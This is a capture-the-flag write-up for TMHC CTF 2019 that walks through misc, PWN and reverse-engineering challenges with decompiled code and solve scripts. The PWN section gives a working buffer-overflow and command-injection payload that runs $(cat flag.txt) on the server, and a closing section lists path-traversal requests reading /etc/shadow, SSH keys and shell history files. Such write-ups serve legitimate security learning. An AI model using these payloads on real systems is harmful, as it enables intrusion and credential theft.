TMHC CTF 2019

By Bread (@nonsxd)

C4n_I_h4z_c0d3_n_crypt0 - Category: Misc

This was a web/programming-based challenge where you were given some maths and you needed to return the answer.

taking a gamble that the creators weren't going to mess with me I decided to take the simplest path. `eval()` and well that worked. I couldn't be bothered dealing with the `base64` inline, so I did it manually and ran my solution again with the fix.

Note: don't forget requests.Session()

```
import requests

url = 'http://docker.hackthebox.eu:30307/flag'
g = requests.Session()
x = g.post(url).text.split("<br>")

problem=format(eval(x[2]),'.2f')

while u'Problem:' in x[1]:
    data = {'answer': problem}
    x = g.post(url, data=data).text.split("<br>")
    if u'Problem:' in x[1]:
        problem = format(eval(x[1][8:]),'.2f')
    else:
        data = {'answer': 'YES_I_CAN!'}
        flag = g.post(url, data=data).text
        print (flag)
```

```
bread@sticks:~#python3 solve.py
TMHC{}
```

and we have the flag:

```
`TMHC{}`
```

DESk - Category: Misc

- Looked at the image noticed it was a chess move.
- Recently I knew of a weird chess/Linux related thing where Ken Thompsons password was cracked
- Googled for that, found his password `p/q2-q4!`

- Looked at the supplied image to see that the pawn in front of the king is moving from 2-4
- Extrapolating that to mean this password is `p/k2-k4`!
- Unzip using the password and get the flag

```
`TMHC{1_kn0w_d35cr1pt1v3_n0t4t10n}`
```

Beeeep_Beeeep - Category: Misc

- Listened to the audio and recognised it as a video from SmarterEveryDay
- Found the specific video Oscilloscope Music - (Drawing with Sound) - Smarter Every Day 224
- Looked for an Oscilloscope tool and found asdfg.me/osci/
- Opened the file and we have the flag being played in pieces

```
`TMHC{0f5ee61ef3fbb4bb066df8c286ec84b07a7a5d95}`
```

overdosed - Category: PWN

opened in ghidra, looked at `main()`

```
undefined8 main(undefined4 param_1,undefined8 param_2){
  undefined *__command;
  size_t sVar1;
  ulong uVar2;
  undefined8 auStack176 [2];
  undefined4 local_9c;
  char local_98 [72];
  undefined *local_50;
  long local_48;
  int local_3c;

  auStack176[0] = 0x1013bf;
  auStack176[1] = param_2;
  local_9c = param_1;
  first_chall();
  auStack176[0] = 0x1013cb;
  puts("Hey, I am from TMHC. Could you tell me your name?");
  auStack176[0] = 0x1013dc;
  printf("Name: ");
  auStack176[0] = 0x1013eb;
  fflush(stdout);
  auStack176[0] = 0x101409;
  read(1,local_98,0x40);
  auStack176[0] = 0x101418;
  sVar1 = strlen(local_98);
  local_3c = (int)sVar1;
  auStack176[0] = 0x101434;
  uVar2 = name_check((long)local_98,local_3c,0);
  if ((int)uVar2 == 0) {
```

```
    local_48 = (long)(local_3c + 0x12) + -1;
    uVar2 = ((long)(local_3c + 0x12) + 0xfU) / 0x10;
    local_50 = (undefined *)(auStack176[1] + uVar2 *
0x1ffffffffffffffe);
    auStack176[uVar2 * 0x1ffffffffffffffe] = 0x1014be;
    sprintf((char *)(auStack176[1] + uVar2 *
0x1ffffffffffffffe),"/bin/echo Hello \"%s\"",local_98,
            local_98);
    __command = local_50;
    auStack176[uVar2 * 0x1ffffffffffffffe] = 0x1014ca;
    system(__command,*(undefined *)(auStack176 + uVar2 *
0x1ffffffffffffffe));
  }
  else {
    auStack176[0] = 0x1014db;
    puts("Illegal name!");
  }
  return 0;
}
```

From here we can see a couple of things:

- `first_chall()`
- `local_98` is the name variable, `local_3c` is length and they are used in the `name_check` function.
- if that function returns a `0`, then our name variable is used in the string `"/bin/echo Hello \"%s\""` which is an argument to `system()`.

this means we can probably command inject, but first we need to see what `first_chall` and `name_check` do.

```
void first_chall(void){
  size_t sVar1;
  ulong uVar2;
  char local_a8 [32];
  char local_88 [32];
  char local_68 [64];
  undefined8 local_28;
  undefined8 local_20;
  undefined4 local_18;
  FILE *local_10;

  local_28 = 0x7869704851;
  local_20 = 0;
  local_18 = 0;
  puts("Could you tell me about yourself?");
  fflush(stdout);
  gets(local_68);
  sVar1 = strlen((char *)&local_28);
  uVar2 = name_check((long)&local_28,(int)sVar1,1);
  if ((int)uVar2 == 0) {
```

```
    sprintf(local_a8,"/bin/echo \"%s\"",&local_28);
    local_10 = popen(local_a8,"r");
    fgets(local_88,0x1e,local_10);
    setenv("name",local_88,1);
  }
  else {
    puts("Too bad!!");
  }
  return;
}
```

ok let's read the code:

- we can see that an environment variable (`name`) is set to the value found in `local_88`
  - which can only be `30` char long.
  - which is the output of `popen()`
- `popen()` is constructed with `"/bin/echo \"%s\""` and `local_28`
  - `local_28 == 0x7869704851` or `QHpix`
- for no apparent reason a `gets(local_68)` call exists
  - `local_68` is not used after this point.
  - `local_68 [64]`, length is 64.
  - `gets()` is a known vulnerable function, used in BOF attacks

This means we have a BOF, and with it (depending on the stack layout) we can control the environment variable (`name`).

let's take a look at `name_check` now because both the CI and BOF rely on it returning `0`:

```
ulong name_check(long param_1,int param_2,int param_3){
  char cVar1;
  uint local_10;
  int local_c;

  local_10 = 0;
  local_c = 0;
  while (local_c < param_2) {
    cVar1 = *(char *)(param_1 + local_c);
    if (cVar1 == '/') {
      if (param_3 == 0) {
        local_10 = 0xffffffff;
      }
    }
    else {
      if (cVar1 < '0') {
        if (cVar1 == '&') {
          local_10 = 0xffffffff;
        }
        else {
          if (cVar1 == '(') {
            if (param_3 == 0) {
```

```
              local_10 = 0xffffffff;
            }
          }
          else {
            if ((cVar1 == '\"') && (param_3 == 0)) {
              local_10 = 0xffffffff;
            }
          }
        }
      }
      else {
        if (cVar1 == '`') {
          local_10 = 0xffffffff;
        }
        else {
          if (cVar1 == '|') {
            local_10 = 0xffffffff;
          }
          else {
            if ((cVar1 == ';') && (param_3 == 0)) {
              local_10 = 0xffffffff;
            }
          }
        }
      }
    }
    local_c += 1;
  }
  return (ulong)local_10;
}
```

This is simple enough it's a blacklist function, that triggers on any occurrences of these characters `['/', '&', '(', '\"', '`', '|', ';']`.

A couple of interesting things to note:

- There is no `$` blacklisting.
- There is a bypass flag `param_3`.
  - The call from `first_chall` is set to `1` allowing a bypass.
  - The call from `main` is set to `0`, so we have a restricted CI there.

let's put this all together then

- We use the BOF to set `name` env to a command of our choice.
  - `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$(echo "bread")`
- We then call `name` using `$name`

```
bread@sticks:~# ./overdosed
Could you tell me about yourself?
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA$(echo "bread")
Hey, I am from TMHC. Could you tell me your name?
Name: $name
Hello bread
```

yep that works, guess the stack is set up how i expected. let's try it on the server.

```
bread@sticks:~# nc docker.hackthebox.eu 1337
Could you tell me about yourself?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA$(cat flag.txt)
Hey, I am from TMHC. Could you tell me your name?
Name: $name
Hello TMHC{}
```

got the flag

```
`TMHC{}`
```

Operation - Category: RE

Opened in ghidra read `main()`

```
undefined8 main(int argc,undefined8 *argv){
  int iVar1;
  char local_28 [32];

  if (argc < 2) {
    printf("Usage: %s <file>\n",*argv);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if (2 < argc) {
    iVar1 = strncmp("--debug",(char *)argv[2],7);
    if (iVar1 == 0) {
      isDebug = 1;
      printf("operations is at: %p\n",operations);
    }
  }
  readFlag(local_28,(char *)argv[1]);
  operations((long)local_28,0);
  puts(local_28);
  return 0;
}
```

which as you can see at the bottom 2 functions are called
firstly `readFlag()` then `operations()` if we quickly look at `operations()` if param_2 does not equal `0` then the operations are not applied.

```
void operations(long param_1,int param_2){
  int local_c;

  if (param_2 != 0) {
    local_c = 0;
    while (local_c < 5) {
      *(byte *)(param_1 + local_c) = *(byte *)(param_1 +
local_c) ^ 0x23;
      local_c += 1;
    }
    local_c = 5;
    while (local_c < 0xf) {
      *(byte *)(param_1 + local_c) = *(byte *)(param_1 +
local_c) ^ 0x19;
      local_c += 1;
    }
    local_c = 0xf;
    while (local_c < 0x19) {
      *(byte *)(param_1 + local_c) = *(byte *)(param_1 +
local_c) ^ 1;
      local_c += 1;
    }
  }
  return;
}
```

At this point you can patch the call to `operations()`, setting `param_2` to any int other than `0` and it will do the operations for you. however a quick read of the code and we can see its just some `XOR` operations.

Easy enough to do, we copy the content from `flag.txt`, put in `cyberchef` and use the `xor` function. set the first `5 chars` of the key to `0x23`, next 5 `0x19`,and then the remaining to `0x01`

```
XOR KEY
2323232323191919191919191919019010101010101010101
```

CyberChef Recipe

got the flag:

```
`TMHC{b1tWi5e_0pEr4tiOns}`
```

DeNuevo - Category: RE

Opened in ghidra read `entry()` which calls `FUN_00401073(1)` if we have a look at that code, we see a loop using an `XOR` operation, on the `local_res0` variable.

```
void FUN_00401073(UINT param_1){
  code *pcVar1;
```

```
  int iVar2;
  byte *pbVar3;
  byte *local_res0;

  iVar2 = 0x69;
  pbVar3 = local_res0;
  do {
    *pbVar3 = *pbVar3 ^ 0xab;
    pbVar3 = pbVar3 + 1;
    iVar2 += -1;
  } while (iVar2 != 0);
  WinExec((LPCSTR)local_res0,param_1);
  ExitProcess(0);
  pcVar1 = (code *)swi(3);
  (*pcVar1)();
  return;
}
```

We don't currently know what `local_res0` is but we do know what once the `XOR` loop is completed its used by `WinExec()`.

Runs the specified application.

```
UINT WinExec(
  LPCSTR lpCmdLine,
  UINT   uCmdShow
);
```

WinExec function

OK let's open it now with `x32dbg` and set a breakpoint at the called to `WinExec()` (`003B1081`) and run. looks like the arguments to `WinExec()` are:

```
1: [esp] 003B100B "C:\\Python27\\python.exe -c \"import
zlib;exec(zlib.decompress(open('.\\denuevo.exe','rb').read()[9
216:]))\""
2: [esp+4] 00000001
```

change that up a little so its written to a file rather than `exec`.

```
import zlib
with open('extracted_file.py', 'w') as f:

f.write(zlib.decompress(open('denuevo.exe','rb').read()[9216:]
))
```

and we have (minus the snake game):

```
x = list(raw_input("Enter your serial key: "))
for i in ['j','7','b','g','5','6','2']:
    if x.pop() != i: exit()
i = int(i)
```

```
while i != 9:
    if x.pop() != ['j','x','d','y','z','3','5'][i]: exit()
    i += -4 if i + 3 > 6 and i != 6 else 3
print "Your serial key has activated the videogame! Submit the challenge with TMHC{serial}"
...
```

Final part is to use the loops to undo themselves.

```
# reverse the array
serial = ['j','7','b','g','5','6','2'][::-1]
x = serial.copy()
for i in ['j','7','b','g','5','6','2']:
    if x.pop() != i: exit()
i = int(i)
while i != 9:
    # insert at the start
    serial.insert(0,['j','x','d','y','z','3','5'][i])
    i += -4 if i + 3 > 6 and i != 6 else 3
print (f"TMHC{'{'+''.join(serial)+'}'}")
```

and we get the flag:

```
bread@sticks:~# python solve.py
TMHC{5yjzx3d265gb7j}
```

```
`TMHC{5yjzx3d265gb7j}`
```

Other - Category: incomplete

```
view-source:http://docker.hackthebox.eu:30361/?page=../../../../home/web/.bash_history
view-source:http://docker.hackthebox.eu:30361/?page=../../../../home/web/.histdb/zsh-history.db
view-source:http://docker.hackthebox.eu:30361/?page=../../../../home/web/whatcanisudo
view-source:http://docker.hackthebox.eu:30361/?page=../../../../opt/checkflag9of10.exe
view-source:http://docker.hackthebox.eu:30361/?page=../../../../home/web/.zsh_history
view-source:http://docker.hackthebox.eu:30361/?page=../../../../etc/ssh/sshd_config
```

```
view-
source:http://docker.hackthebox.eu:30361/?page=../../../../../
home/web/.ssh/authorized_keys
view-
source:http://docker.hackthebox.eu:30361/?page=../../../../../
etc/shadow
view-
source:http://docker.hackthebox.eu:30361/?page=../../../../../
home/flag3of10/.ssh/authorized_keys


flag(1/10):TMHC{y0u_
flag(2/10):0nly_g3t
flag(3/10):#1flag
flag(4/10):
flag(5/10):7iME_:(_
flag(6/10):Bu7_Th3r3_
flag(7/10):
flag(8/10):_A_l0t_
flag(9/10): <? errrrh re>
flag(10/10):
```